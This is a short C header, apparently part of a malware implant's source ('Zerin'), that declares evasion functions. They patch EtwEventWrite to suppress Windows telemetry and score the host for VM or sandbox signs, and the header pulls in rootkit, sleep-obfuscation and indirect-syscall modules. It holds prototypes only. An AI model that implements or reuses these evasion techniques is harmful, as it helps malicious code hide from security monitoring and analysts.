#ifndef ZERIN_EVASION_H
#define ZERIN_EVASION_H

#include "strings.h"
#include "syscalls.h"
#include "sleep_obf.h"
#include "indirect_syscalls.h"
#include "rootkit.h"

// Initialize all evasion subsystems.
// Call once early in agent startup.
int evasion_init(void);

// Patch EtwEventWrite to prevent runtime telemetry.
int evasion_patch_etw(void);

// Check for VM/sandbox environment (score-based detection).
// Returns 1 if sandbox detected, 0 if clean.
int evasion_check_vm(void);

// Clean up evasion state.
void evasion_cleanup(void);

#endif // ZERIN_EVASION_H